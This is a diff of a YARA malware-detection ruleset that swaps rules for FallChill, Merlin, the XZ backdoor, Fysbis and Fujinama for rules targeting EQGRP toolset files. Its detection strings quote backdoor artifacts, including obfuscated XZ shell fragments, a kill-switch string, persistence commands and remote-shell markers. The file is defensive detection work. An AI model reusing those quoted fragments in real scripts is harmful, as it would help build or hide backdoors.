-		logic_hash = "8e6215a81272ea457318dd83eff9e1902c5e1d1a124ff674b145f2dc5e4a3711"
+		reference = "Research"
+		source_url = "https://github.com/Neo23x0/signature-base/blob/c3fb6b179826dfb6bd146f4fa64fa9d7f84bc358/yara/apt_eqgrp.yar#L75-L92"
+		license_url = "https://github.com/Neo23x0/signature-base/blob/c3fb6b179826dfb6bd146f4fa64fa9d7f84bc358/LICENSE"
+		logic_hash = "113f9451d6792511baa168957c643de02f37826b32944ef882f49b68496ec596"
 		score = 75
 		quality = 85
 		tags = "FILE"
 		license = "Detection Rule License 1.1 https://github.com/Neo23x0/signature-base/blob/master/LICENSE"
-		hash1 = "a606716355035d4a1ea0b15f3bee30aad41a2c32df28c2d468eafd18361d60d6"
 
 	strings:
-		$s1 = "REGSVR32.EXE.MUI" fullword wide
-		$s2 = "Microsoft Corporation. All rights reserved." fullword wide
-		$s3 = "c%sd.e%sc %s > \"%s\" 2>&1" fullword wide
-		$s4 = "\" goto Loop" fullword ascii
-		$e1 = "xolhvhlxpvg" fullword ascii
-		$e2 = "tvgslhgybmanv" fullword ascii
-		$e3 = "CivagvTllosvok32Smakhslg" fullword ascii
-		$e4 = "GvgCfiivmgDrivxglibW" fullword ascii
-		$e5 = "OkvmPilxvhhTlpvm" fullword ascii
+		$s1 = "recv_ack: %s: Service not supplied by provider" fullword ascii
+		$s2 = "send_request: putmsg \"%s\": %s" fullword ascii
+		$s3 = "port undefined" fullword ascii
+		$s4 = "recv_ack: %s getmsg: %s" fullword ascii
+		$s5 = ">> %d -- %d" fullword ascii
 
 	condition:
-		uint16(0)==0x5a4d and filesize <300KB and (pe.imphash()=="6135d9bc3591ae7bc72d070eadd31755" or 3 of ($s*) or 4 of them )
+		( uint16(0)==0x457f and filesize <40KB and 2 of them )
 }
 import "pe"
 
-rule SIGNATURE_BASE_Hiddencobra_Fallchill_2 : FILE
+rule SIGNATURE_BASE_EQGRP_Teflonhandle : FILE
 {
 	meta:
-		description = "Auto-generated rule"
+		description = "Detects tool from EQGRP toolset - file teflonhandle.exe"
 		author = "Florian Roth (Nextron Systems)"
-		id = "c343e8e4-0785-5a47-99c1-98b189f4aaa0"
-		date = "2017-11-15"
+		id = "4d82cc41-3777-5f8c-9392-aca69e6ed781"
+		date = "2016-08-15"
 		modified = "2023-12-05"
-		reference = "https://www.us-cert.gov/ncas/alerts/TA17-318A"
-		source_url = "https://github.com/Neo23x0/signature-base/blob/99cc905c67522a1dea4e97cb15b13ff578118d6f/yara/apt_ta17_318A.yar#L79-L97"
-		license_url = "https://github.com/Neo23x0/signature-base/blob/99cc905c67522a1dea4e97cb15b13ff578118d6f/LICENSE"
-		logic_hash = "ab421bea251ed3fda4304cd180e5c31f7ae55d3d8b26d6cf5f1cf11bacee9b8d"
+		reference = "Research"
+		source_url = "https://github.com/Neo23x0/signature-base/blob/c3fb6b179826dfb6bd146f4fa64fa9d7f84bc358/yara/apt_eqgrp.yar#L94-L111"
+		license_url = "https://github.com/Neo23x0/signature-base/blob/c3fb6b179826dfb6bd146f4fa64fa9d7f84bc358/LICENSE"
+		logic_hash = "7dfa713b763c983219f008405e1ebf3dfe386672f2d4e5fb54b2b362023ae08a"
 		score = 75
 		quality = 85
 		tags = "FILE"
 		license = "Detection Rule License 1.1 https://github.com/Neo23x0/signature-base/blob/master/LICENSE"
-		hash1 = "0a118eb23399000d148186b9079fa59caf4c3faa7e7a8f91533e467ac9b6ff41"
 
 	strings:
-		$s1 = "%s\\%s.dll" fullword wide
-		$s2 = "yurdkr.dll" fullword ascii
-		$s3 = "c%sd.e%sc %s > \"%s\" 2>&1" fullword wide
+		$s1 = "%s [infile] [outfile] /k 0x[%i character hex key] </g>" fullword ascii
+		$s2 = "File %s already exists.  Overwrite? (y/n) " fullword ascii
+		$s3 = "Random Key : 0x" fullword ascii
+		$s4 = "done (%i bytes written)." fullword ascii
+		$s5 = "%s --> %s..." fullword ascii
 
 	condition:
-		uint16(0)==0x5a4d and filesize <500KB and (pe.imphash()=="cb36dcb9909e29a38c387b8a87e7e4ed" or (2 of them ))
+		uint16(0)==0x5a4d and filesize <20KB and 2 of them
 }
-rule SIGNATURE_BASE_Merlinagent
+import "pe"
+
+rule SIGNATURE_BASE_EQGRP_False : FILE
 {
 	meta:
-		description = "Detects Merlin agent"
-		author = "Hilko Bengen"
-		id = "92346a3f-dce4-58db-893b-b7797fa20029"
-		date = "2017-12-26"
+		description = "Detects tool from EQGRP toolset - file false.exe"
+		author = "Florian Roth (Nextron Systems)"
+		id = "3a68790b-38fc-570b-8b19-c5478cdd2842"
+		date = "2016-08-15"
 		modified = "2023-12-05"
-		reference = "https://github.com/Ne0nd0g/merlin"
-		source_url = "https://github.com/Neo23x0/signature-base/blob/99cc905c67522a1dea4e97cb15b13ff578118d6f/yara/gen_merlin_agent.yar#L2-L27"
-		license_url = "https://github.com/Neo23x0/signature-base/blob/99cc905c67522a1dea4e97cb15b13ff578118d6f/LICENSE"
-		logic_hash = "21743230556cc11a78942de30be476ad8e73731bbda9a4feb83bd8140a703d01"
+		reference = "Research"
+		source_url = "https://github.com/Neo23x0/signature-base/blob/c3fb6b179826dfb6bd146f4fa64fa9d7f84bc358/yara/apt_eqgrp.yar#L113-L134"
+		license_url = "https://github.com/Neo23x0/signature-base/blob/c3fb6b179826dfb6bd146f4fa64fa9d7f84bc358/LICENSE"
+		logic_hash = "a1938bc7a5a7a1bb382c2bab976013a1adedc045e0312daabe1bdcdd65d0c606"
 		score = 75
 		quality = 85
-		tags = ""
-		filetype = "pe, elf, mach"
+		tags = "FILE"
+		license = "Detection Rule License 1.1 https://github.com/Neo23x0/signature-base/blob/master/LICENSE"
 
 	strings:
-		$x1 = "Command output:\x0d\x0a\x0d\x0a%s"
-		$x2 = "[-]Connecting to web server at %s to update agent configuration information."
-		$x3 = "[-]%d out of %d total failed checkins"
-		$x4 = "[!}Unknown AgentControl message type received %s"
-		$x5 = "[-]Received Agent Kill Message"
-		$x6 = "[-]Received Server OK, doing nothing"
-		$x7 = "[!]There was an error with the HTTP client while performing a POST:"
-		$x8 = "[-]Sleeping for %s at %s"
-		$s1 = "Executing command %s %s %s"
-		$s2 = "[+]Host Information:"
-		$s3 = "\tHostname: %s"
-		$s4 = "\tPlatform: %s"
-		$s5 = "\tUser GUID: %s"
+		$s1 = { 00 25 64 2E 0A 00 00 00 00 25 64 2E 0A 00 00 00
+			00 25 6C 75 2E 25 6C 75 2E 25 6C 75 2E 25 6C 75
+			00 25 64 2E 0A 00 00 00 00 25 64 2E 0A 00 00 00
+			00 25 64 2E 0A 00 00 00 00 25 64 2E 0A 00 00 00
+			00 25 32 2E 32 58 20 00 00 0A 00 00 00 25 64 20
+			2D 20 25 64 20 25 64 0A 00 25 64 0A 00 25 64 2E
+			0A 00 00 00 00 25 64 2E 0A 00 00 00 00 25 64 2E
+			0A 00 00 00 00 25 64 20 2D 20 25 64 0A 00 00 00
+			00 25 64 20 2D 20 25 64 }
 
 	condition:
-		1 of ($x*) or 4 of them
+		uint16(0)==0x5a4d and filesize <50KB and $s1
 }
-rule SIGNATURE_BASE_BKDR_Xzutil_Script_CVE_2024_3094_Mar24_1 : CVE_2024_3094
-{
-	meta:
-		description = "Detects make file and script contents used by the backdoored XZ library (xzutil) CVE-2024-3094."
-		author = "Florian Roth"
-		id = "6b62ffc2-d0a7-5810-97a3-c48f7fac300e"
-		date = "2024-03-30"
-		modified = "2024-04-24"
-		reference = "https://www.openwall.com/lists/oss-security/2024/03/29/4"
-		source_url = "https://github.com/Neo23x0/signature-base/blob/99cc905c67522a1dea4e97cb15b13ff578118d6f/yara/bkdr_xz_util_cve_2024_3094.yar#L2-L17"
-		license_url = "https://github.com/Neo23x0/signature-base/blob/99cc905c67522a1dea4e97cb15b13ff578118d6f/LICENSE"
-		hash = "d44d0425769fa2e0b6875e5ca25d45b251bbe98870c6b9bef34f7cea9f84c9c3"
-		logic_hash = "8d3f5f078a5c827208e04acb7ac1496f473e1236f92561f94d2a3c8156c68ea6"
-		score = 80
-		quality = 85
-		tags = "CVE-2024-3094"
-
-	strings:
-		$x1 = "/bad-3-corrupt_lzma2.xz | tr " ascii
-		$x2 = "/tests/files/good-large_compressed.lzma|eval $i|tail -c +31265|" ascii
-		$x3 = "eval $zrKcKQ" ascii
+import "pe"
 
-	condition:
-		1 of them
-}
-rule SIGNATURE_BASE_BKDR_Xzutil_Binary_CVE_2024_3094_Mar24_1 : CVE_2024_3094 FILE
+rule SIGNATURE_BASE_EQGRP_Dn_1_0_2_1 : FILE
 {
 	meta:
-		description = "Detects injected code used by the backdoored XZ library (xzutil) CVE-2024-3094."
-		author = "Florian Roth"
-		id = "6ccdeb6d-67c4-5358-a76b-aef7f047c997"
-		date = "2024-03-30"
-		modified = "2024-04-24"
-		reference = "https://www.openwall.com/lists/oss-security/2024/03/29/4"
-		source_url = "https://github.com/Neo23x0/signature-base/blob/99cc905c67522a1dea4e97cb15b13ff578118d6f/yara/bkdr_xz_util_cve_2024_3094.yar#L19-L46"
-		license_url = "https://github.com/Neo23x0/signature-base/blob/99cc905c67522a1dea4e97cb15b13ff578118d6f/LICENSE"
-		logic_hash = "ed364484ff598b0818f9b3249673e684b52394c25b14e47fbca25a5f96ecc970"
+		description = "Detects tool from EQGRP toolset - file dn.1.0.2.1.linux"
+		author = "Florian Roth (Nextron Systems)"
+		id = "24b5fb51-2463-56ef-818a-949b4b3bbf5b"
+		date = "2016-08-15"
+		modified = "2023-12-05"
+		reference = "Research"
+		source_url = "https://github.com/Neo23x0/signature-base/blob/c3fb6b179826dfb6bd146f4fa64fa9d7f84bc358/yara/apt_eqgrp.yar#L136-L152"
+		license_url = "https://github.com/Neo23x0/signature-base/blob/c3fb6b179826dfb6bd146f4fa64fa9d7f84bc358/LICENSE"
+		logic_hash = "9b6420401419b280f01f7fc73412386a19e94a57e589a043b231b6a721585c99"
 		score = 75
 		quality = 85
-		tags = "CVE-2024-3094, FILE"
-		hash1 = "319feb5a9cddd81955d915b5632b4a5f8f9080281fb46e2f6d69d53f693c23ae"
-		hash2 = "605861f833fc181c7cdcabd5577ddb8989bea332648a8f498b4eef89b8f85ad4"
-		hash3 = "8fa641c454c3e0f76de73b7cc3446096b9c8b9d33d406d38b8ac76090b0344fd"
-		hash4 = "b418bfd34aa246b2e7b5cb5d263a640e5d080810f767370c4d2c24662a274963"
-		hash5 = "cbeef92e67bf41ca9c015557d81f39adaba67ca9fb3574139754999030b83537"
-		hash6 = "5448850cdc3a7ae41ff53b433c2adbd0ff492515012412ee63a40d2685db3049"
+		tags = "FILE"
+		license = "Detection Rule License 1.1 https://github.com/Neo23x0/signature-base/blob/master/LICENSE"
 
 	strings:
-		$op1 = { 48 8d 7c 24 08 f3 ab 48 8d 44 24 08 48 89 d1 4c 89 c7 48 89 c2 e8 ?? ?? ?? ?? 89 c2 }
-		$op2 = { 31 c0 49 89 ff b9 16 00 00 00 4d 89 c5 48 8d 7c 24 48 4d 89 ce f3 ab 48 8d 44 24 48 }
-		$op3 = { 4d 8b 6c 24 08 45 8b 3c 24 4c 8b 63 10 89 85 78 f1 ff ff 31 c0 83 bd 78 f1 ff ff 00 f3 ab 79 07 }
-		$xc1 = { F3 0F 1E FA 55 48 89 F5 4C 89 CE 53 89 FB 81 E7 00 00 00 80 48 83 EC 28 48 89 54 24 18 48 89 4C 24 10 }
+		$s1 = "Valid commands are: SMAC, DMAC, INT, PACK, DONE, GO" fullword ascii
+		$s2 = "invalid format suggest DMAC=00:00:00:00:00:00" fullword ascii
+		$s3 = "SMAC=%02x:%02x:%02x:%02x:%02x:%02x" fullword ascii
+		$s4 = "Not everything is set yet" fullword ascii
 
 	condition:
-		uint16(0)==0x457f and ( all of ($op*) or $xc1)
+		( uint16(0)==0x457f and filesize <30KB and 2 of them )
 }
-rule SIGNATURE_BASE_BKDR_Xzutil_Killswitch_CVE_2024_3094_Mar24_1 : CVE_2024_3094
-{
-	meta:
-		description = "Detects kill switch used by the backdoored XZ library (xzutil) CVE-2024-3094."
-		author = "Florian Roth"
-		id = "0d28bec4-1d3a-5af0-9e9e-49486fcc62e1"
-		date = "2024-03-30"
-		modified = "2024-04-24"
-		reference = "https://gist.github.com/q3k/af3d93b6a1f399de28fe194add452d01?permalink_comment_id=5006558#gistcomment-5006558"
-		source_url = "https://github.com/Neo23x0/signature-base/blob/99cc905c67522a1dea4e97cb15b13ff578118d6f/yara/bkdr_xz_util_cve_2024_3094.yar#L48-L60"
-		license_url = "https://github.com/Neo23x0/signature-base/blob/99cc905c67522a1dea4e97cb15b13ff578118d6f/LICENSE"
-		logic_hash = "b2024d4b8346c4f74524bb7f3c6b2850684c19471a00e6fa60fff1c41e4a86b6"
-		score = 85
-		quality = 85
-		tags = "CVE-2024-3094"
-
-	strings:
-		$x1 = "yolAbejyiejuvnup=Evjtgvsh5okmkAvj"
+import "pe"
 
-	condition:
-		$x1
-}
-rule SIGNATURE_BASE_SUSP_OBFUSC_SH_Indicators_Mar24_1 : FILE
+rule SIGNATURE_BASE_EQGRP_Morel : FILE
 {
 	meta:
-		description = "Detects characteristics found in obfuscated script (used in the backdoored XZ package, but could match on others, too)"
-		author = "Florian Roth"
-		id = "f9fcc326-75d6-5a5a-a8b5-7de15a11448e"
-		date = "2024-04-06"
-		modified = "2024-04-24"
-		reference = "https://www.openwall.com/lists/oss-security/2024/03/29/4/1"
-		source_url = "https://github.com/Neo23x0/signature-base/blob/99cc905c67522a1dea4e97cb15b13ff578118d6f/yara/bkdr_xz_util_cve_2024_3094.yar#L62-L75"
-		license_url = "https://github.com/Neo23x0/signature-base/blob/99cc905c67522a1dea4e97cb15b13ff578118d6f/LICENSE"
-		logic_hash = "b5abf8184e0b1b18ccc513e00e9db241b4983923ae97f495396d73f0fb162192"
-		score = 60
+		description = "Detects tool from EQGRP toolset - file morel.exe"
+		author = "Florian Roth (Nextron Systems)"
+		id = "e741b727-0e41-53d0-832c-df7f4ea7964a"
+		date = "2016-08-15"
+		modified = "2023-12-05"
+		reference = "Research"
+		source_url = "https://github.com/Neo23x0/signature-base/blob/c3fb6b179826dfb6bd146f4fa64fa9d7f84bc358/yara/apt_eqgrp.yar#L154-L170"
+		license_url = "https://github.com/Neo23x0/signature-base/blob/c3fb6b179826dfb6bd146f4fa64fa9d7f84bc358/LICENSE"
+		logic_hash = "463d628bb19e27e94dcccc4c7d435d86111d51aa9f77c5ca1a199d9aaa9017ba"
+		score = 75
 		quality = 85
 		tags = "FILE"
+		license = "Detection Rule License 1.1 https://github.com/Neo23x0/signature-base/blob/master/LICENSE"
+		hash1 = "a9152e67f507c9a179bb8478b58e5c71c444a5a39ae3082e04820a0613cd6d9f"
 
 	strings:
-		$s1 = "eval $"
+		$s1 = "%d - %d, %d" fullword ascii
+		$s2 = "%d - %lu.%lu %d.%lu" fullword ascii
+		$s3 = "%d - %d %d" fullword ascii
 
 	condition:
-		uint8(1)==0x3d and $s1 in ( filesize -20.. filesize )
+		( uint16(0)==0x5a4d and filesize <60KB and all of them )
 }
-rule SIGNATURE_BASE_Sofacy_Fybis_ELF_Backdoor_Gen1 : FILE
+import "pe"
+
+rule SIGNATURE_BASE_EQGRP_Bc_Parser : FILE
 {
 	meta:
-		description = "Detects Sofacy Fysbis Linux Backdoor"
+		description = "Detects tool from EQGRP toolset - file bc-parser"
 		author = "Florian Roth (Nextron Systems)"
-		id = "c6abf33e-9c5b-5e0f-b7f0-a0741bf9cc3a"
-		date = "2016-02-13"
-		modified = "2023-01-27"
-		reference = "http://researchcenter.paloaltonetworks.com/2016/02/a-look-into-fysbis-sofacys-linux-backdoor/"
-		source_url = "https://github.com/Neo23x0/signature-base/blob/99cc905c67522a1dea4e97cb15b13ff578118d6f/yara/apt_sofacy_fysbis.yar#L9-L35"
-		license_url = "https://github.com/Neo23x0/signature-base/blob/99cc905c67522a1dea4e97cb15b13ff578118d6f/LICENSE"
-		logic_hash = "fb5239aa75512c8c83b066e64b75469f90fb22cb0918af1e44edb29e7ab38206"
-		score = 80
+		id = "ed4523de-b126-503a-83bd-aafd8533b0e5"
+		date = "2016-08-15"
+		modified = "2023-12-05"
+		reference = "Research"
+		source_url = "https://github.com/Neo23x0/signature-base/blob/c3fb6b179826dfb6bd146f4fa64fa9d7f84bc358/yara/apt_eqgrp.yar#L172-L187"
+		license_url = "https://github.com/Neo23x0/signature-base/blob/c3fb6b179826dfb6bd146f4fa64fa9d7f84bc358/LICENSE"
+		logic_hash = "e8911acc1173e1149fd11dd795b72ba26bc654cbc7f9d95053ce420663fcafe9"
+		score = 75
 		quality = 85
 		tags = "FILE"
 		license = "Detection Rule License 1.1 https://github.com/Neo23x0/signature-base/blob/master/LICENSE"
-		hash1 = "02c7cf55fd5c5809ce2dce56085ba43795f2480423a4256537bfdfda0df85592"
-		hash2 = "8bca0031f3b691421cb15f9c6e71ce193355d2d8cf2b190438b6962761d0c6bb"
+		hash1 = "879f2f1ae5d18a3a5310aeeafec22484607649644e5ecb7d8a72f0877ac19cee"
 
 	strings:
-		$x1 = "Your command not writed to pipe" fullword ascii
-		$x2 = "Terminal don`t started for executing command" fullword ascii
-		$x3 = "Command will have end with \\n" fullword ascii
-		$s1 = "WantedBy=multi-user.target' >> /usr/lib/systemd/system/" ascii
-		$s2 = "Success execute command or long for waiting executing your command" fullword ascii
-		$s3 = "ls /etc | egrep -e\"fedora*|debian*|gentoo*|mandriva*|mandrake*|meego*|redhat*|lsb-*|sun-*|SUSE*|release\"" fullword ascii
-		$s4 = "rm -f /usr/lib/systemd/system/" ascii
-		$s5 = "ExecStart=" fullword ascii
-		$s6 = "<table><caption><font size=4 color=red>TABLE EXECUTE FILES</font></caption>" fullword ascii
+		$s1 = "*** Target may be susceptible to FALSEMOREL      ***" fullword ascii
+		$s2 = "*** Target is susceptible to FALSEMOREL          ***" fullword ascii
 
 	condition:
-		( uint16(0)==0x457f and filesize <500KB and 1 of ($x*)) or (1 of ($x*) and 3 of ($s*))
+		uint16(0)==0x457f and 1 of them
 }
-rule SIGNATURE_BASE_Sofacy_Fysbis_ELF_Backdoor_Gen2 : FILE
+import "pe"
+
+rule SIGNATURE_BASE_EQGRP_1212 : FILE
 {
 	meta:
-		description = "Detects Sofacy Fysbis Linux Backdoor"
+		description = "Detects tool from EQGRP toolset - file 1212.pl"
 		author = "Florian Roth (Nextron Systems)"
-		id = "d4e3a8bb-b23a-53a4-b5fb-b321a3417b43"
-		date = "2016-02-13"
+		id = "428fed4f-df5c-5fc2-ac4b-4dea69ea4f2d"
+		date = "2016-08-15"
 		modified = "2023-12-05"
-		reference = "http://researchcenter.paloaltonetworks.com/2016/02/a-look-into-fysbis-sofacys-linux-backdoor/"
-		source_url = "https://github.com/Neo23x0/signature-base/blob/99cc905c67522a1dea4e97cb15b13ff578118d6f/yara/apt_sofacy_fysbis.yar#L37-L55"
-		license_url = "https://github.com/Neo23x0/signature-base/blob/99cc905c67522a1dea4e97cb15b13ff578118d6f/LICENSE"
-		logic_hash = "1d50a789e9c43fce27f3ad390cbdd9533c61e4f263cec1aa1abfba6545e55c57"
-		score = 80
+		reference = "Research"
+		source_url = "https://github.com/Neo23x0/signature-base/blob/c3fb6b179826dfb6bd146f4fa64fa9d7f84bc358/yara/apt_eqgrp.yar#L189-L207"
+		license_url = "https://github.com/Neo23x0/signature-base/blob/c3fb6b179826dfb6bd146f4fa64fa9d7f84bc358/LICENSE"
+		logic_hash = "1be7ed8fdfaecc6e55c4d1e75cf841f4620df3d2abe6aed2761aed20c42f70bd"
+		score = 75
 		quality = 85
 		tags = "FILE"
 		license = "Detection Rule License 1.1 https://github.com/Neo23x0/signature-base/blob/master/LICENSE"
-		hash1 = "02c7cf55fd5c5809ce2dce56085ba43795f2480423a4256537bfdfda0df85592"
-		hash2 = "8bca0031f3b691421cb15f9c6e71ce193355d2d8cf2b190438b6962761d0c6bb"
-		hash3 = "fd8b2ea9a2e8a67e4cb3904b49c789d57ed9b1ce5bebfe54fe3d98214d6a0f61"
 
 	strings:
-		$s1 = "RemoteShell" ascii
-		$s2 = "basic_string::_M_replace_dispatch" fullword ascii
-		$s3 = "HttpChannel" ascii
+		$s1 = "if (!(($srcip,$dstip,$srcport,$dstport) = ($line=~/^([a-f0-9]{8})([a-f0-9]{8})([a-f0-9]{4})([a-f0-9]{4})$/)))" fullword ascii
+		$s2 = "$ans=\"$srcip:$srcport -> $dstip:$dstport\";" fullword ascii
+		$s3 = "return \"ERROR:$line is not a valid port\";" fullword ascii
+		$s4 = "$dstport=hextoPort($dstport);" fullword ascii
+		$s5 = "sub hextoPort" fullword ascii
+		$s6 = "$byte_table{\"$chars[$sixteens]$chars[$ones]\"}=$i;" fullword ascii
 
 	condition:
-		uint16(0)==0x457f and filesize <500KB and all of them
+		filesize <6KB and 4 of them
 }
-rule SIGNATURE_BASE_APT_MAL_Fujinama : FILE
+import "pe"
+
+rule SIGNATURE_BASE_EQGRP_1212_Dehex : FILE
 {
 	meta:
-		description = "Fujinama RAT used by Leonardo SpA Insider Threat"
-		author = "ReaQta Threat Intelligence Team"
-		id = "b10b1e45-aa6c-53fa-8e02-7a325c3e12fb"
-		date = "2021-01-07"
+		description = "Detects tool from EQGRP toolset - from files 1212.pl, dehex.pl"
+		author = "Florian Roth (Nextron Systems)"
+		id = "2cc375e6-2bff-5623-b86c-a6413f736c42"
+		date = "2016-08-15"
 		modified = "2023-12-05"
-		reference = "https://reaqta.com/2021/01/fujinama-analysis-leonardo-spa"
-		source_url = "https://github.com/Neo23x0/signature-base/blob/99cc905c67522a1dea4e97cb15b13ff578118d6f/yara/apt_fujinama_rat.yar#L1-L22"
-		license_url = "https://github.com/Neo23x0/signature-base/blob/99cc905c67522a1dea4e97cb15b13ff578118d6f/LICENSE"
-		logic_hash = "9bff8ee5424a939b5278b2d1b349d898d138b9efb3cf783221826abb4d8015ef"
+		reference = "Research"
+		source_url = "https://github.com/Neo23x0/signature-base/blob/c3fb6b179826dfb6bd146f4fa64fa9d7f84bc358/yara/apt_eqgrp.yar#L209-L226"
+		license_url = "https://github.com/Neo23x0/signature-base/blob/c3fb6b179826dfb6bd146f4fa64fa9d7f84bc358/LICENSE"
+		logic_hash = "74d1b0e820696cd5507996996bead50d283e83095bc7288a6e8e484738b6348b"
 		score = 75
-		quality = 51
+		quality = 85
 		tags = "FILE"
-		version = "1"
+		license = "Detection Rule License 1.1 https://github.com/Neo23x0/signature-base/blob/master/LICENSE"
 
 	strings:
-		$kaylog_1 = "SELECT" wide ascii nocase
-		$kaylog_2 = "RIGHT" wide ascii nocase
-		$kaylog_3 = "HELP" wide ascii nocase
-		$kaylog_4 = "WINDOWS" wide ascii nocase
-		$computername = "computername" wide ascii nocase
-		$useragent = "Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 5.1; SV1; .NET CLR 2.0.50727)" wide ascii nocase
-		$pattern = "'()*+,G-./0123456789:" wide ascii nocase
-		$function_1 = "t_save" wide ascii nocase
-		$cftmon = "cftmon" wide ascii nocase
-		$font = "Tahoma" wide ascii nocase
+		$s1 = "return \"ERROR:$line is not a valid address\";" fullword ascii
+		$s2 = "print \"ERROR: the filename or hex representation needs to be one argument try using \\\"'s\\n\";" fullword ascii
+		$s3 = "push(@octets,$byte_table{$tempi});" fullword ascii
+		$s4 = "$byte_table{\"$chars[$sixteens]$chars[$ones]\"}=$i;" fullword ascii
+		$s5 = "print hextoIP($ARGV[0]);" fullword ascii
 
 	condition:
-		uint16(0)==0x5a4d and all of them
+		( uint16(0)==0x2123 and filesize <6KB and (5 of ($s*))) or ( all of them )
 }
 import "pe"
 
-rule SIGNATURE_BASE_SUSP_Adobepdf_SFX_Bitmap_Combo_Executable : FILE
+rule SIGNATURE_BASE_Install_Get_Persistent_Filenames : FILE
 {
 	meta:
-		description = "Detects a suspicious executable that contains both a SFX icon and an Adobe PDF icon"
+		description = "EQGRP Toolset Firewall - file install_get_persistent_filenames"
 		author = "Florian Roth (Nextron Systems)"
-		id = "d2d078c9-fbe5-51f4-8f7e-5d943c5a8197"
-		date = "2020-11-02"
+		id = "cf74b479-4b78-537a-878c-2f3ce004b775"
+		date = "2016-08-16"
 		modified = "2023-12-05"
-		reference = "https://mp.weixin.qq.com/s/3Pa3hiuZyQBspDzH0kGSHw"
-		source_url = "https://github.com/Neo23x0/signature-base/blob/99cc905c67522a1dea4e97cb15b13ff578118d6f/yara/gen_icon_anomalies.yar#L3-L37"
-		license_url = "https://github.com/Neo23x0/signature-base/blob/99cc905c67522a1dea4e97cb15b13ff578118d6f/LICENSE"
-		logic_hash = "ac515d698507be6085684a6ec4622c6f3c26d0c3a0d94cbbeacfab7dfb9fe135"
-		score = 60
+		reference = "Research"
+		source_url = "https://github.com/Neo23x0/signature-base/blob/c3fb6b179826dfb6bd146f4fa64fa9d7f84bc358/yara/apt_eqgrp.yar#L237-L250"
+		license_url = "https://github.com/Neo23x0/signature-base/blob/c3fb6b179826dfb6bd146f4fa64fa9d7f84bc358/LICENSE"
+		logic_hash = "be07e3e3e96dd4676a76b32eb8fc47b2ab1f66ebbd6c2a3f1c88fc224f9f39ef"
+		score = 75
 		quality = 85
 		tags = "FILE"
-		hash1 = "13655f536fac31e6c2eaa9e6e113ada2a0b5e2b50a93b6bbfc0aaadd670cde9b"
+		license = "Detection Rule License 1.1 https://github.com/Neo23x0/signature-base/blob/master/LICENSE"
+		hash1 = "4a50ec4bf42087e932e9e67e0ea4c09e52a475d351981bb4c9851fda02b35291"
 
 	strings:
-		$sc1 = { FF 00 CC FF FF 00 99 FF FF 00 66 FF FF 00 33 FF
-               FF 80 00 FF FF 80 FF CC FF 80 CC CC FF C0 99 CC
-               FF 80 66 CC FF 00 33 CC FF 00 00 CC FF 00 FF 99
-               FF FF CC 99 FF FF 99 99 FF FF 66 99 FF FF 33 99
-               FF 08 00 99 FF 88 FF 66 FF 88 CC 66 FF 88 99 66
-               FF 88 66 66 FF 88 33 66 FF 05 00 66 FF 55 FF 33
-               FF 55 CC 33 FF 55 99 33 FF 55 66 33 FF 58 33 33
-               FF 01 00 33 FF 99 FF 00 FF 99 CC 00 FF 99 99 00
-               FF 99 66 00 FF 58 33 00 FF 01 00 00 FF 99 FF FF
-               CC 99 CC FF CC 99 99 FF CC 99 66 FF CC 58 33 FF
-               CC 01 00 FF CC FF FF CC CC FF CC CC CC FF 99 CC
-               CC FF 66 CC CC 58 33 CC CC 01 00 CC CC FF FF 99 }
-		$sc2 = { 28 66 27 00 60 00 00 00 80 00 00 00 80 80 80 00
-               C0 C0 C0 00 FF FF FF 00 FF FF FF 00 FF FF FF 00
-               FF FF FF 00 FF FF FF 00 FF FF FF 00 FF FF FF 00
-               FF FF FF 00 FF FF FF 00 5D 33 00 00 5D 33 00 00
-               5D 33 00 00 5D 33 00 00 5D 33 00 00 5D 33 00 00
-               5D 33 00 00 5D 33 00 00 5D 33 00 00 5D 33 00 00 }
+		$s1 = "Generates the persistence file name and prints it out." fullword ascii
 
 	condition:
-		uint16(0)==0x5a4d and all of them and pe.number_of_signatures<1
+		( uint16(0)==0x457f and all of them )
 }
 import "pe"
 
-rule SIGNATURE_BASE_SUSP_Adobepdf_Bitmap_Executable : FILE
+rule SIGNATURE_BASE_EQGRP_Create_Dns_Injection
 {
 	meta:
-		description = "Detects a suspicious executable that contains a Adobe PDF icon and no shows no sign of actual Adobe software"
+		description = "EQGRP Toolset Firewall - file create_dns_injection.py"
 		author = "Florian Roth (Nextron Systems)"
-		id = "86ebadd4-64a8-5290-b45e-ac125a10ea66"
-		date = "2020-11-02"
+		id = "ef358ca6-ebd8-5d08-944b-f1fcd112f1f3"
+		date = "2016-08-16"
 		modified = "2023-12-05"
-		reference = "https://mp.weixin.qq.com/s/3Pa3hiuZyQBspDzH0kGSHw"
-		source_url = "https://github.com/Neo23x0/signature-base/blob/99cc905c67522a1dea4e97cb15b13ff578118d6f/yara/gen_icon_anomalies.yar#L39-L68"
-		license_url = "https://github.com/Neo23x0/signature-base/blob/99cc905c67522a1dea4e97cb15b13ff578118d6f/LICENSE"
-		logic_hash = "a8ef5ce2e876565c7d6367ce555d00bd3535699f1907f867811f2f6749672c67"
-		score = 60
+		reference = "Research"
+		source_url = "https://github.com/Neo23x0/signature-base/blob/c3fb6b179826dfb6bd146f4fa64fa9d7f84bc358/yara/apt_eqgrp.yar#L252-L266"
+		license_url = "https://github.com/Neo23x0/signature-base/blob/c3fb6b179826dfb6bd146f4fa64fa9d7f84bc358/LICENSE"
+		logic_hash = "a07cb33c459208410b326fc260e96e617385ee4eac905a92d9542cb5ec73713e"
+		score = 75
 		quality = 85
-		tags = "FILE"
-		hash1 = "13655f536fac31e6c2eaa9e6e113ada2a0b5e2b50a93b6bbfc0aaadd670cde9b"
+		tags = ""
+		license = "Detection Rule License 1.1 https://github.com/Neo23x0/signature-base/blob/master/LICENSE"
+		hash1 = "488f3cc21db0688d09e13eb85a197a1d37902612c3e302132c84e07bc42b1c32"
 
 	strings:
-		$sc1 = { FF 00 CC FF FF 00 99 FF FF 00 66 FF FF 00 33 FF
-               FF 80 00 FF FF 80 FF CC FF 80 CC CC FF C0 99 CC
-               FF 80 66 CC FF 00 33 CC FF 00 00 CC FF 00 FF 99
-               FF FF CC 99 FF FF 99 99 FF FF 66 99 FF FF 33 99
-               FF 08 00 99 FF 88 FF 66 FF 88 CC 66 FF 88 99 66
-               FF 88 66 66 FF 88 33 66 FF 05 00 66 FF 55 FF 33
-               FF 55 CC 33 FF 55 99 33 FF 55 66 33 FF 58 33 33
-               FF 01 00 33 FF 99 FF 00 FF 99 CC 00 FF 99 99 00
-               FF 99 66 00 FF 58 33 00 FF 01 00 00 FF 99 FF FF
